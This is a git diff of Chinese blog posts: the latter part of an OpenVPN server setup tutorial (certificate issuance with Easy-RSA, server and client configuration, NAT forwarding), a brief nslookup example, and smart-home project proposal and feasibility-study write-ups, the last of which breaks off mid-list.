└── reqs_by_serial +├── reqs +├── revoked +│ ├── certs_by_serial +│ ├── private_by_serial +│ └── reqs_by_serial +├── safessl-easyrsa.cnf +└── serial + +12 directories, 7 files +[root@openvpn-server 3]# + +# 查看生成的CA证书 +[root@openvpn-server 3]# openssl x509 -in pki/ca.crt -noout -text +Certificate: + Data: + Version: 3 (0x2) + Serial Number: + bc:21:18:c8:d0:e9:f9:c0 + Signature Algorithm: sha256WithRSAEncryption + Issuer: CN=Easy-RSA CA + Validity + Not Before: Aug 22 06:42:24 2023 GMT + Not After : Jul 29 06:42:24 2123 GMT + Subject: CN=Easy-RSA CA + Subject Public Key Info: + Public Key Algorithm: rsaEncryption + Public-Key: (2048 bit) + Modulus: + 00:a6:d4:e2:27:20:15:40:e4:9c:a8:dc:1e:ab:1c: + 46:58:0d:50:63:56:8d:a5:98:55:35:30:74:f8:0c: + e8:98:47:de:e0:1e:64:9a:d6:79:05:86:a3:ad:6f: + 7f:a9:7c:e5:0e:f5:16:16:3b:73:c0:45:aa:95:d8: + 30:ea:2a:26:85:7b:b1:2f:2a:6e:ba:f1:e4:d2:f4: + d6:79:7c:31:b6:aa:17:fb:04:a2:a2:8d:7b:63:13: + 99:8d:38:b2:e5:14:6e:30:ed:71:b0:89:c6:05:9e: + 0b:80:3c:5c:d1:f2:25:3e:9a:b6:ec:fb:e1:f6:a7: + f7:ac:13:76:44:c4:de:d0:e0:14:04:09:1c:b6:d0: + 62:8e:22:73:a1:6c:4f:dc:89:e5:1b:22:92:be:b8: + 35:43:d7:83:ab:fd:95:65:c3:f5:9c:18:ee:ce:d1: + 0f:fc:b1:b4:70:43:5b:ac:5c:79:5a:9b:cd:02:bf: + d3:f3:0a:b3:78:c3:6c:69:e7:ac:da:d7:91:75:11: + 22:c8:ae:17:d3:96:4c:d1:27:c5:b5:3e:a4:18:65: + e0:3e:69:e8:a2:9a:f4:03:7d:9f:5c:62:c0:c5:d8: + d4:e5:6f:1c:bb:a4:8c:89:f5:91:44:03:c3:15:9d: + 79:8f:04:3a:79:03:30:bc:43:4e:d8:56:9d:96:86: + 8a:f5 + Exponent: 65537 (0x10001) + X509v3 extensions: + X509v3 Subject Key Identifier: + 2D:77:F9:F5:B0:DD:E2:0E:4E:51:A7:CD:7F:83:26:FC:FA:53:C4:1E + X509v3 Authority Key Identifier: + keyid:2D:77:F9:F5:B0:DD:E2:0E:4E:51:A7:CD:7F:83:26:FC:FA:53:C4:1E + DirName:/CN=Easy-RSA CA + serial:BC:21:18:C8:D0:E9:F9:C0 + + X509v3 Basic Constraints: + CA:TRUE + X509v3 Key Usage: + Certificate Sign, CRL Sign + Signature Algorithm: sha256WithRSAEncryption + 23:00:ff:38:24:f8:e2:09:4a:cd:58:ff:ab:08:73:51:60:bb: + 7f:92:67:bc:d0:31:a7:ca:95:1a:fd:a9:45:91:4f:3d:e9:58: + a9:50:53:8f:49:c4:82:c0:59:d5:a6:ab:95:07:ec:d2:85:f3: + bd:18:e8:32:8f:11:f0:c4:2d:41:0b:1d:8c:67:72:8b:c8:32: + 6a:e2:81:2a:0d:9e:0f:4c:21:f0:35:0f:dd:18:b0:4f:13:d9: + 12:26:f1:2e:f1:e1:0a:d0:a5:a1:18:ce:e0:2b:19:a9:07:43: + 00:dd:d8:3b:42:9d:6f:53:79:b1:2a:c0:58:ca:ab:9c:e7:c3: + 70:56:24:ee:da:3a:1d:77:6c:e1:f4:95:ba:72:91:ee:6b:68: + 31:d1:ac:7f:85:47:23:bb:49:6b:35:29:d2:78:01:73:59:75: + 20:5e:15:31:5a:dd:c4:73:18:f1:98:85:b8:34:70:ce:ba:dc: + 4c:0a:d1:0d:9b:f0:ca:57:5a:ce:0a:ea:24:0d:7b:a3:eb:8d: + 28:bf:07:43:e3:dc:83:ee:0a:cb:0f:49:9d:1b:26:27:0d:cb: + f9:33:85:9f:3b:b7:c4:fe:6d:3a:73:3d:69:86:72:ed:f6:1c: + d8:61:97:9f:44:81:ac:f1:bb:25:02:d5:00:aa:a8:76:d3:ae: + 37:6c:11:47 +[root@openvpn-server 3]# + +``` + +##### 3.2.1 为openvpn服务器颁发证书 + +``` +#创建服务器证书申请文件，其中server是文件前缀 +[root@openvpn-server 3]# ./easyrsa gen-req server nopass + +Note: using Easy-RSA configuration from: /etc/openvpn/easy-rsa-server/3.0.8/vars +Using SSL: openssl OpenSSL 1.0.2k-fips 26 Jan 2017 +Generating a 2048 bit RSA private key +...........+++ +............................................................................................+++ +writing new private key to '/etc/openvpn/easy-rsa-server/3/pki/easy-rsa-1684.jLW8wL/tmp.nqY7jU' +----- +You are about to be asked to enter information that will be incorporated +into your certificate request. +What you are about to enter is what is called a Distinguished Name or a DN. +There are quite a few fields but you can leave some blank +For some fields there will be a default value, +If you enter '.', the field will be left blank. +----- +Common Name (eg: your user, host, or server name) [server]:openvpn + +Keypair and certificate request completed. Your files are: +req: /etc/openvpn/easy-rsa-server/3/pki/reqs/server.req +key: /etc/openvpn/easy-rsa-server/3/pki/private/server.key + + +[root@openvpn-server 3]# + +# [root@openvpn-server 3]# tree pki/ -C +pki/ #公钥基础设施的主目录，其中包含所有的证书、密钥、和其他相关文件。 +├── ca.crt #证书颁发机构（CA）的公共证书。它用于验证来自该CA签署的任何其他证书。 +├── certs_by_serial #一个目录，其中包含由序列号索引的证书链接。它使得更容易地找到给定序列号的证书。 +├── index.txt #一个数据库文件，其中包含CA签发的所有证书的状态信息。 +├── index.txt.attr #与index.txt文件相关的属性文件。 +├── issued #一个目录，其中包含CA签发的所有证书。 +├── openssl-easyrsa.cnf #OpenVPN和easy-rsa的OpenSSL配置文件。 +├── private #一个目录，其中包含私钥。不应与其他人分享这些密钥。 +│ ├── ca.key #证书颁发机构（CA）的私钥。 +│ └── server.key #OpenVPN服务器的私钥。 +├── renewed #一个目录，其中包含续签的证书和密钥的相关数据。 +│ ├── certs_by_serial +│ ├── private_by_serial +│ └── reqs_by_serial +├── reqs # 一个目录，其中包含证书签名请求（CSR）文件。 +│ └── server.req #OpenVPN服务器的证书签名请求。 +├── revoked #一个目录，其中包含被撤销的证书和密钥的相关数据。 +│ ├── certs_by_serial +│ ├── private_by_serial +│ └── reqs_by_serial +├── safessl-easyrsa.cnf #另一个OpenSSL配置文件，可能是针对更安全的配置或特定的操作。 +└── serial #一个文件，它包含下一个证书的序列号。 + +12 directories, 9 files +[root@openvpn-server 3]# + +#将上面server.req的申请,颁发server类型的证书 +[root@openvpn-server 3]# ./easyrsa sign-req server server + +Note: using Easy-RSA configuration from: /etc/openvpn/easy-rsa-server/3.0.8/vars +Using SSL: openssl OpenSSL 1.0.2k-fips 26 Jan 2017 + + +You are about to sign the following certificate. +Please check over the details shown below for accuracy. Note that this request +has not been cryptographically verified. Please be sure it came from a trusted +source or that you have verified the request checksum with the sender. + +Request subject, to be signed as a server certificate for 3650 days: + +subject= + commonName = openvpn + + +Type the word 'yes' to continue, or any other input to abort. + Confirm request details: yes #输入yes +Using configuration from /etc/openvpn/easy-rsa-server/3/pki/easy-rsa-1886.heaNji/tmp.kGW5CF +Check that the request matches the signature +Signature ok +The Subject's Distinguished Name is as follows +commonName :ASN.1 12:'openvpn' +Certificate is to be certified until Aug 19 07:13:37 2033 GMT (3650 days) + +Write out database with 1 new entries +Data Base Updated + +Certificate created at: /etc/openvpn/easy-rsa-server/3/pki/issued/server.crt + + +[root@openvpn-server 3]# + +# 创建 Diffie-Hellman 密钥 +[root@openvpn-server 3]# ./easyrsa gen-dh + +Note: using Easy-RSA configuration from: /etc/openvpn/easy-rsa-server/3.0.8/vars +Using SSL: openssl OpenSSL 1.0.2k-fips 26 Jan 2017 +Generating DH parameters, 2048 bit long safe prime, generator 2 +This is going to take a long time +...............................................................................................................+......................................................................................................+.+......................................................................................................................................................................................................................................................................................................................................................................................+..........................................................................................................................................+................................................................................................++*++* + +DH parameters of size 2048 created at /etc/openvpn/easy-rsa-server/3/pki/dh.pem + + +[root@openvpn-server 3]# + + +``` + +##### 3.2.2 为客户端颁发证书 + +``` +# 重新拷贝一份充当客户端环境 +[root@openvpn-server openvpn]# cp -r /usr/share/easy-rsa /etc/openvpn/easy-rsa-client/ +[root@openvpn-server openvpn]# cd /etc/openvpn/easy-rsa-client/3 + +# 生成证书申请所需目录pki和文件 +[root@openvpn-server 3]# ./easyrsa init-pki + +# 生成客户端用户的证书申请 +[root@openvpn-server 3]# ./easyrsa gen-req xingyuyu nopass +Using SSL: openssl OpenSSL 1.0.2k-fips 26 Jan 2017 +Generating a 2048 bit RSA private key +...........................................................................................................+++ +.....................................+++ +writing new private key to '/etc/openvpn/easy-rsa-client/3/pki/easy-rsa-2122.AZW6ty/tmp.j15lap' +----- +You are about to be asked to enter information that will be incorporated +into your certificate request. +What you are about to enter is what is called a Distinguished Name or a DN. +There are quite a few fields but you can leave some blank +For some fields there will be a default value, +If you enter '.', the field will be left blank. +----- +Common Name (eg: your user, host, or server name) [xingyuyu]: #直接回车 + +Keypair and certificate request completed. Your files are: +req: /etc/openvpn/easy-rsa-client/3/pki/reqs/xingyuyu.req #证书申请文件 +key: /etc/openvpn/easy-rsa-client/3/pki/private/xingyuyu.key #私钥文件 + +[root@openvpn-server 3]# tree -C +. +├── easyrsa +├── openssl-easyrsa.cnf +├── pki +│ ├── openssl-easyrsa.cnf +│ ├── private +│ │ └── xingyuyu.key #私钥文件 +│ ├── reqs +│ │ └── xingyuyu.req #证书申请文件 +│ └── safessl-easyrsa.cnf +└── x509-types + ├── ca + ├── client + ├── code-signing + ├── COMMON + ├── email + ├── kdc + ├── server + └── serverClient + +4 directories, 14 files +[root@openvpn-server 3]# + +# 回到CA的相关目录，为客户端颁发证书 +[root@openvpn-server 3]#cd /etc/openvpn/easy-rsa-server/3 +# 将客户端用户的申请文件导入到CA的申请目录里面，说白了就是copy文件的过程，得加上前缀邢宇宇 +[root@openvpn-server 3]# ./easyrsa import-req /etc/openvpn/easy-rsa-client/3/pki/reqs/xingyuyu.req xingyuyu + +Note: using Easy-RSA configuration from: /etc/openvpn/easy-rsa-server/3.0.8/vars +Using SSL: openssl OpenSSL 1.0.2k-fips 26 Jan 2017 + +Easy-RSA error: + +Unable to import: incorrect command syntax. +Run easyrsa without commands for usage and command help. + +[root@openvpn-server 3]# + +# 修改配置文件,刚才是为server颁发证书设置的是10年，但是现在为客户端颁发证书不能设置那么长的时间，所以需要修改 +[root@openvpn-server 3]# vim vars +set_var EASYRSA_CERT_EXPIRE 180 + + +# 签发证书 +[root@openvpn-server 3]# ./easyrsa sign-req client xingyuyu + +# 将CA和服务器证书相关文件复制到服务器相应的目录 +[root@openvpn-server 3]# mkdir /etc/openvpn/certs +[root@openvpn-server 3]# cp /etc/openvpn/easy-rsa-server/3/pki/{ca.crt,dh.pem} /etc/openvpn/certs/ +[root@openvpn-server 3]# cp /etc/openvpn/easy-rsa-server/3/pki/issued/server.crt /etc/openvpn/certs/ +[root@openvpn-server 3]# cp /etc/openvpn/easy-rsa-server/3/pki/private/server.key /etc/openvpn/certs + +# 将客户端用户所需要的相关文件放到相应的目录 +[root@openvpn-server 3]# mkdir /etc/openvpn/client/xingyuyu/ +[root@openvpn-server 3]# find /etc/openvpn/ \( -name "xingyuyu.key" -o -name "xingyuyu.crt" -o -name ca.crt \) -exec cp {} /etc/openvpn/client/xingyuyu/ \; +# find /etc/openvpn/: find 是一个在目录结构中搜索文件的命令。/etc/openvpn/ 是要开始搜索的目录。 +−name"xingyuyu.key"−o−name"xingyuyu.crt"−o−nameca.crt: 这是一个复杂的表达式，用于匹配三种文件名。 + +-name "xingyuyu.key": 匹配名为 "xingyuyu.key" 的文件。 +-o: 逻辑 OR 操作符，表示满足任何一个条件的文件都将被选中。 +-name "xingyuyu.crt": 匹配名为 "xingyuyu.crt" 的文件。 +-name ca.crt: 匹配名为 "ca.crt" 的文件。 +整个表达式的意思是：找到任何名称为 "xingyuyu.key"、"xingyuyu.crt" 或 "ca.crt" 的文件。 + +-exec cp {} /etc/openvpn/client/xingyuyu/ ;: 当 find 命令找到符合条件的文件时，它会对每个文件执行指定的操作。 + +-exec: 表示要对找到的文件执行一个操作。 +cp {} /etc/openvpn/client/xingyuyu/: 是要执行的操作。其中 {} 是一个占位符，代表 find 命令找到的文件。所以，这个操作的意思是将找到的文件复制到 /etc/openvpn/client/xingyuyu/ 目录。 +;: 表示 -exec 操作的结束。\是转义 + +``` + +### 4. 准备 OpenVPN 服务器配置文件 + +``` +# 写入配置文件 +[root@openvpn-server openvpn]# vim /etc/openvpn/server.conf +port 1194 +proto tcp +dev tun +ca /etc/openvpn/certs/ca.crt +cert /etc/openvpn/certs/server.crt +key /etc/openvpn/certs/server.key # This file should be kept secret +dh /etc/openvpn/certs/dh.pem +server 10.8.0.0 255.255.255.0 +push "route 172.30.0.0 255.255.255.0" +keepalive 10 120 +cipher AES-256-CBC +compress lz4-v2 +push "compress lz4-v2" +max-clients 2048 +user openvpn +group openvpn +status /var/log/openvpn/openvpn-status.log +log-append /var/log/openvpn/openvpn.log +verb 3 +mute 20 +[root@openvpn-server openvpn]# + + +#创建日志所在文件夹 +[root@openvpn-server openvpn]# mkdir /var/log/openvpn +[root@openvpn-server openvpn]# chown openvpn.openvpn /var/log/openvpn/ + +# 开启网卡转发功能 +[root@openvpn-server openvpn]# echo net.ipv4.ip_forward =1 >> /etc/sysctl.conf +[root@openvpn-server openvpn]# sysctl -p + +# 使用openvpn,开启隧道默认的网段就是配置文件里面配置的网段，然后通过iptables配置以后将这个网段的地址指向内网地址 +[root@openvpn-server openvpn]# echo "iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j MASQUERADE" >> /etc/rc.d/rc.local +[root@openvpn-server openvpn]# chmod +x /etc/rc.d/rc.local +[root@openvpn-server openvpn]# /etc/rc.d/rc.local +[root@openvpn-server openvpn]# iptables -vnL -t nat +Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes) + pkts bytes target prot opt in out source destination + +Chain INPUT (policy ACCEPT 0 packets, 0 bytes) + pkts bytes target prot opt in out source destination + +Chain OUTPUT (policy ACCEPT 1 packets, 76 bytes) + pkts bytes target prot opt in out source destination + +Chain POSTROUTING (policy ACCEPT 1 packets, 76 bytes) + pkts bytes target prot opt in out source destination + 0 0 MASQUERADE all -- * * 10.8.0.0/24 0.0.0.0/0 +[root@openvpn-server openvpn]# + + +``` + +#### 4.1 启动OpenVpn + +``` +# 这个文件默认Centos8没有，需要从CentOS7上拷贝 +[root@openvpn-server openvpn]# vim /usr/lib/systemd/system/openvpn@.service +[root@openvpn-server openvpn]# ll /usr/sbin/openvpn +-rwxr-xr-x 1 root root 787232 Mar 18 2022 /usr/sbin/openvpn +[root@openvpn-server openvpn]# + +# 启动 +[root@openvpn-server openvpn]# systemctl daemon-reload +[root@openvpn-server openvpn]# systemctl enable --now openvpn@server +Created symlink from /etc/systemd/system/multi-user.target.wants/openvpn@server.service to /usr/lib/systemd/system/openvpn@.service. +[root@openvpn-server openvpn]# + +#查看网卡 +[root@openvpn-server openvpn]# ip a +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: eth0: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:16:3e:04:4a:08 brd ff:ff:ff:ff:ff:ff + inet 172.30.0.1/24 brd 172.30.0.255 scope global dynamic eth0 + valid_lft 315348175sec preferred_lft 315348175sec + inet6 fe80::216:3eff:fe04:4a08/64 scope link + valid_lft forever preferred_lft forever +3: tun0: mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 100 + link/none + inet 10.8.0.1 peer 10.8.0.2/32 scope global tun0 + valid_lft forever preferred_lft forever + inet6 fe80::ea53:4d53:6150:51d6/64 scope link flags 800 + valid_lft forever preferred_lft forever +[root@openvpn-server openvpn]# +#多了一个tun0的虚拟网卡，并且地址是10.8.0.1 + +``` + +### 5.准备 OpenVPN 服务器配置文件 + +``` +#创建客户端的配置文件 +[root@openvpn-server openvpn]# vim /etc/openvpn/client/xingyuyu/client.ovpn +client +dev tun +proto tcp +remote 39.100.98.155 1194 +resolv-retry infinite +nobind +#persist-key +#persist-tun +ca ca.crt +cert xingyuyu.crt +key xingyuyu.key +remote-cert-tls server +#tls-auth ta.key 1 +cipher AES-256-CBC +verb 3 +compress lz4-v2 + +[root@openvpn-server openvpn]# tree /etc/openvpn/client/xingyuyu/ +/etc/openvpn/client/xingyuyu/ +├── ca.crt +├── client.ovpn +├── xingyuyu.crt +└── xingyuyu.key + +0 directories, 4 files +[root@openvpn-server openvpn]# + + +#打包客户端用户所需的文件，这些文件需要导入到windows中的openvpn路径下才能使用 +[root@openvpn-server ~]# cd /etc/openvpn/client/xingyuyu/ +[root@openvpn-server ~]# tar cf /root/xingyuyu.tar ./ +#将安装包解压，然后放到C:\Program Files\OpenVPN\config,就可以使用了 + + +``` + + + +# 参考 + +[OpenVpn搭建](https://blog.csdn.net/m0_60758951/article/details/138666869) + + + +[CentOS7环境下搭建OpenVPN小记](https://www.yoyoask.com/?p=5923) diff --git a/_posts/2024-08-23-655-nslookup.md b/_posts/2024-08-23-655-nslookup.md new file mode 100644 index 0000000..879ec2e --- /dev/null +++ b/_posts/2024-08-23-655-nslookup.md @@ -0,0 +1,17 @@ +--- +layout: post +title: nslookup +pid: 655 +tags: [linux] +--- + +``` +baoguo@MacBook-Pro-2 ~ % nslookup www.anycase.cn 223.5.5.5 +Server: 223.5.5.5 +Address: 223.5.5.5#53 + +Non-authoritative answer: +Name: www.anycase.cn +Address: 124.71.140.143 +``` + diff --git a/_posts/2024-09-30-656-pp.md b/_posts/2024-09-30-656-pp.md new file mode 100644 index 0000000..454ec0c --- /dev/null +++ b/_posts/2024-09-30-656-pp.md @@ -0,0 +1,37 @@ +--- +layout: post +title: 立项申请 +pid: 656 +tags: [pmp, 高项] +--- + +立项申请（项目建议书） - Project Initiation Application 或 Project Proposal + + + +## 立项申请 + +### 1. 项目的必要性 + +随着生活水平的提高，家庭对智能家居产品的需求逐渐增加。据统计，2022年中国智能家居市场规模达到了1500亿元，预计到2025年将突破3000亿元，年均增长率超过25%。此外，智能家居产品能够提高家庭的安全性和便利性，满足用户对高品质生活的追求，因此项目具有必要性。 + +### 2. 项目的市场预测 + +根据市场调研，智能家居的核心产品（如智能照明、安防系统、智能音响等）在过去两年中以每年30%的速度增长。2023年，智能安防市场预计将达到600亿元，智能照明市场将达到400亿元。2025年，预计智能家居市场的用户渗透率将达到40%，这为项目的实施提供了广阔的市场空间。 + +### 3. 项目预期成果的市场预测 + +本项目预计将推出三款智能家居产品：智能安防系统、智能照明系统和智能家居控制中心。根据市场研究： + +- **智能安防系统**：市场需求量为150万套，销售价格为3000元/套，预计销售收入为45亿元。 +- **智能照明系统**：市场需求量为200万套，销售价格为1500元/套，预计销售收入为30亿元。 +- **智能家居控制中心**：市场需求量为100万套，销售价格为5000元/套，预计销售收入为50亿元。 + +总体预期销售收入将达到125亿元，项目的市场前景非常乐观。 + +### 4. 项目建设必需的条件 + +- **技术条件**：项目需依赖先进的物联网技术和人工智能算法，这要求与相关技术提供商达成合作。 +- **资金条件**：项目预计总投资为5亿元，需要通过银行贷款、风险投资等多种方式筹集资金。 +- **人力资源**：项目需要建立一支专业的研发和运营团队，招聘50名技术人员和30名市场销售人员。 +- **设施条件**：需要建设一个现代化的生产基地，占地约5000平方米，配备先进的生产设备和测试仪器。 diff --git a/_posts/2024-09-30-657-pfsr.md b/_posts/2024-09-30-657-pfsr.md new file mode 100644 index 0000000..ec481c8 --- /dev/null +++ b/_posts/2024-09-30-657-pfsr.md @@ -0,0 +1,109 @@ +--- +layout: post +title: 初步可行性研究报告 +pid: 657 +tags: [pmp, 高项] +--- + +初步可行性研究报告 - Preliminary Feasibility Study Report + + + +## 初步可行性研究报告 + +### 1. 需求与市场预测 + +智能家居市场需求的预测主要基于消费者对家庭自动化、安全性和舒适性的需求增长。 + +- **需求驱动因素**：随着现代家庭对生活质量和安全要求的提高，越来越多的家庭希望通过智能化的方式管理家庭设备。特别是在安防、照明、能源管理等方面，智能化解决方案能够提供更高的便捷性和安全性。 +- **市场趋势**：未来几年，全球智能家居市场将继续以20%以上的年增长率增长。特别是在中国，随着家庭收入的增加和技术的普及，智能家居产品的需求将进一步扩大。未来五年，预计国内智能家居市场规模将超过5000亿元。 +- **消费者行为变化**：消费者的智能家居消费行为逐渐从单一设备购买向集成系统的需求转变。越来越多的家庭希望通过一个统一的控制平台，管理家中的所有智能设备。智能家居系统因此成为市场的焦点，具备强大的市场潜力。 + +### 2. 设备与资源投入分析 + +项目所需的设备包括智能控制中心、智能照明设备、智能安防设备、智能家电管理设备、智能能耗管理系统等。 + +- **设备供应商**：本项目计划与国内外多家知名设备供应商合作，确保产品的质量和供应的稳定性。公司将根据需求进行设备的采购和定制，确保设备能够兼容现有的家庭基础设施。 + +- **资源投入**：项目所需的资源包括硬件资源、软件开发资源和人力资源。硬件资源包括各种智能设备、传感器、网络设备等。软件开发资源包括智能控制系统、移动端APP开发和云端数据管理平台。人力资源方面，将组建一支包含硬件工程师、软件开发人员、UI设计师和项目管理人员的团队。 + +- ### 3. 空间布局 + + 智能家居项目在开发和生产过程中，需进行详细的空间布局规划。此布局既包括研发中心和生产车间的空间使用，也涉及到未来在用户家庭中的实际安装与部署。 + + - 研发中心布局： + + 研发中心需要合理规划功能分区，保证各部门之间的高效协同与资源共享。 + + - **硬件开发区域**：主要用于产品原型设计、电子元件测试等工作，需要配置专门的电子设备实验台、3D打印机及其他原型开发工具。 + - **软件开发区域**：主要用于软件系统、控制平台的开发和测试，需要配备高性能计算机、测试服务器等设备，同时设计网络拓扑以满足开发需要。 + - **用户体验实验室**：用来模拟家庭场景，测试智能家居产品的用户体验。该区域需模拟典型的家居环境，安装智能照明、安防、空调、家电等设备，并保证不同品牌设备的兼容性测试。 + + - 生产车间布局： + + 生产车间根据生产流程设计，分为原材料存储、设备组装、质量检测等多个区域。 + + - **材料存储区**：用于存放供应商提供的电子元件和基础材料，需保持防潮防静电处理。 + - **组装线**：智能家居产品的生产需要标准化的组装线，确保每一个步骤高效运转。生产线设备需保持高兼容性，以应对不同设备类型的生产。 + - **质量控制与测试区**：用于对组装完成的产品进行质量检测，确保每件产品符合行业标准，尤其是对智能设备的通信、数据处理、稳定性等进行专项检测。 + + - 用户端空间布局： + + 针对用户家庭环境中的设备布局，需考虑如何最优地将智能设备与现有家庭设备进行集成。 + + - **智能安防设备**：如摄像头、智能门锁、烟雾报警器等设备需要安装在家庭的关键入口和安全薄弱环节。 + - **智能照明与家电控制**：这些设备需合理布局在用户的客厅、卧室、厨房等主要使用空间，并支持无线与有线连接方式，确保易于安装与维护。 + + ### 4. 项目设计 + + 项目设计部分包括产品功能设计、系统架构设计和用户体验设计。 + + - 产品功能设计： + + 智能家居系统的核心功能设计包括以下几个方面： + + - **智能控制中心**：作为整个智能家居系统的核心设备，智能控制中心能够与家中的所有智能设备连接，实现统一控制。其主要功能包括远程操控、场景预设、智能联动等。 + - **智能安防系统**：系统应能够实时监控家庭安全状况，并在发生异常时自动报警，包括智能门锁、监控摄像头、烟雾传感器等。 + - **智能照明与家电控制**：用户可以通过手机APP或语音助手，控制家中的照明系统和电器设备，并设置不同场景模式。 + - **智能能源管理**：通过传感器监测家中的能源消耗情况，并对电器进行智能控制，以节省能源。 + + - 系统架构设计： + + 项目设计需要明确系统的整体架构，确保产品的稳定性、扩展性和兼容性。 + + - **系统分层架构**：采用前端设备层、控制层和数据处理层的分层架构。前端设备主要包括各种智能家居硬件，控制层通过智能控制中心统一管理各类设备，数据处理层通过云端存储和分析实现大数据应用。 + - **通信协议选择**：智能家居设备需要使用标准的通信协议（如Zigbee、Z-Wave、Wi-Fi等）进行互联互通。选择合适的通信协议能够提高系统的可靠性和兼容性。 + - **云平台架构**：智能家居系统的数据处理需要依赖云端服务，因此项目设计应重点考虑云平台的稳定性、安全性和扩展性，支持大规模并发数据传输和存储。 + + - 用户体验设计： + + 用户体验（UX）设计对智能家居产品的市场接受度至关重要。项目设计应注重简洁、直观的操作界面和流程。 + + - **移动端应用设计**：智能家居的控制平台主要通过移动端APP实现，因此需要设计易于操作的APP界面，支持设备的快速添加、场景模式切换和远程操控。 + - **语音交互设计**：结合当下流行的语音助手（如Alexa、Google Assistant等），用户可以通过语音控制家中的设备，因此语音识别和指令执行的准确性应是设计的重点。 + - **设备响应速度**：智能设备需要具备快速响应能力，确保用户的每个指令能够在短时间内得到执行。 + + ### 5. 项目进度安排 + + 项目进度安排包括开发阶段、测试阶段和市场推广阶段，每个阶段需合理规划时间节点并设定目标。 + + - 开发阶段： + - **产品需求分析**（2个月）：明确项目需求，进行市场调研和用户反馈的收集，为产品设计提供依据。 + - **硬件设计与开发**（4个月）：完成智能控制中心、安防设备、智能照明系统等硬件设备的设计、研发和初步测试。 + - **软件系统开发**（6个月）：开发智能家居控制系统，包括移动APP和云平台功能，确保所有设备能够通过统一的控制平台进行管理。 + - 测试阶段： + - **内部测试**（2个月）：公司内部进行系统测试和硬件兼容性测试，确保各设备和软件平台的稳定性与可靠性。 + - **用户体验测试**（1个月）：选取一部分真实用户进行产品测试，收集反馈并根据用户体验进行产品优化。 + - 市场推广阶段： + - **产品发布与宣传**（2个月）：通过发布会、线上广告和合作渠道进行产品推广，吸引潜在用户的关注。 + - **售后服务与市场反馈**（持续）：建立售后服务体系，跟踪市场反馈，并根据用户反馈迭代优化产品。 + + ### 6. 项目投资与成本估算 + + 智能家居项目的投资包括研发费用、生产成本、市场推广费用等。 + + - **研发费用**：预计研发投入为2000万元，其中硬件研发投入1000万元，软件系统开发投入800万元，用户体验和测试投入200万元。 + - **生产成本**：根据初步测算，生产每套智能家居系统的平均成本为2000元，年产量预计为10万套，总生产成本约为2亿元。 + - **市场推广费用**：项目的市场推广计划预计投资5000万元，主要用于广告、线上线下活动以及与第三方平台合作推广等。 + - **运营成本**：项目的年运营成本预计为1000万元，主要用于人力资源、售后服务、云平台维护等费用。 + - **资金来源**：项目初期投资将通过公司自有资金、风险投资和银行贷款相结合的方式进行筹措。其中，公司自有资金投入4000万元，风险投资计划引入3000万元，银行贷款预计为1亿元。 diff --git a/_posts/2024-09-30-658-dfsr.md b/_posts/2024-09-30-658-dfsr.md new file mode 100644 index 0000000..40ee149 --- /dev/null +++ b/_posts/2024-09-30-658-dfsr.md @@ -0,0 +1,84 @@ +--- +layout: post +title: 详细可行性研究报告 +pid: 658 +tags: [pmp, 高项] +--- + +详细可行性研究报告 - Detailed Feasibility Study Report + + + +### 1. 市场需求预测 + +市场需求预测是项目成功的基础。智能家居系统在全球范围内的市场需求持续上升，特别是在家庭自动化、安全、能源管理等领域。 + +- **全球市场预测**：根据国际市场研究报告，全球智能家居市场的年增长率预计将保持在20%左右。预计到2030年，市场规模将超过2500亿美元。智能家居产品正逐渐从高端市场向大众市场渗透，未来智能家居普及率将显著提高。 +- **区域市场分析**：在中国，智能家居市场需求正随着5G网络的部署和物联网设备的普及而迅速扩展。特别是在一线城市，智能安防、智能家电、智能照明等功能成为现代家庭的标配。二、三线城市和农村市场的智能家居需求也在逐步提高，随着技术成本下降，这些地区的市场前景广阔。 +- **需求驱动因素**：消费者对生活便利性、安全性和节能环保的需求驱动了智能家居的快速发展。智能家居能够提供个性化的用户体验，并通过云平台和人工智能实现数据分析和自动化调节，满足了现代家庭对智能化、节能高效的需求。 + +### 2. 部件和投入的选择供应 + +项目的硬件部件和供应链管理是保证产品质量和成本控制的关键。 + +- 核心部件： + - **处理器**：智能家居控制中心的核心硬件之一是高性能低功耗的嵌入式处理器。选择如ARM架构的处理器可以提供强大的计算能力和灵活性。 + - **传感器**：包括红外传感器、烟雾传感器、温湿度传感器、门窗开关传感器等，用于采集家居环境的各种数据。传感器需具备较高的灵敏度和稳定性，确保设备能及时响应用户需求。 + - **通信模块**：Wi-Fi、Zigbee、蓝牙等通信模块是智能家居设备连接和通信的基础。选择通信模块时需考虑功耗、稳定性和传输速度。 + - **显示与控制设备**：智能家居控制中心还需集成显示屏、触控设备，方便用户在家中操作和查看状态。 +- 供应链管理： + - **供应商选择**：项目将优先选择有丰富经验、稳定供应能力和良好信誉的供应商。与国内外多家知名硬件供应商建立长期合作关系，确保关键部件的质量和交付周期。 + - **物流管理**：为保证设备的及时供应和生产，需建立高效的物流体系，减少供应链中的中间环节，降低采购和运输成本。 + +### 3. 信息系统架构及技术方案的确定 + +智能家居系统的信息架构和技术方案设计直接影响系统的运行效率、稳定性和扩展性。 + +- 信息系统架构： + - **物联网层**：智能家居的物联网层包括各类智能设备（如智能门锁、智能灯泡、智能插座等），它们通过Wi-Fi、Zigbee等通信协议连接到控制中心。 + - **控制层**：智能控制中心是整个系统的核心，负责对所有设备进行统一管理和控制。控制中心通过本地和云端双向通信，实现设备的远程控制、场景联动、数据收集等功能。 + - **云服务层**：云端服务用于处理和存储大量用户数据，并通过数据分析提供智能化功能（如智能推荐、节能策略）。云平台需具备高并发处理能力，并保证数据安全和隐私保护。 + - **应用层**：通过移动应用和网页端，用户可以随时随地控制家中的智能设备，查看家居状态，并接收异常报警通知。 +- 技术方案确定： + - **通信协议选择**：根据家庭环境和设备要求，选择Zigbee和Wi-Fi作为主通信协议。Zigbee功耗低、覆盖范围广，适合大部分家居环境，而Wi-Fi则提供更高的传输速度，适合需要频繁数据交换的设备。 + - **数据安全方案**：智能家居系统需要严格的数据加密措施，防止用户隐私泄露和设备被恶意控制。采用AES-256加密和端到端数据传输加密技术，保障用户数据安全。 + +### 4. 技术与设备选择 + +- 硬件设备选择： + - 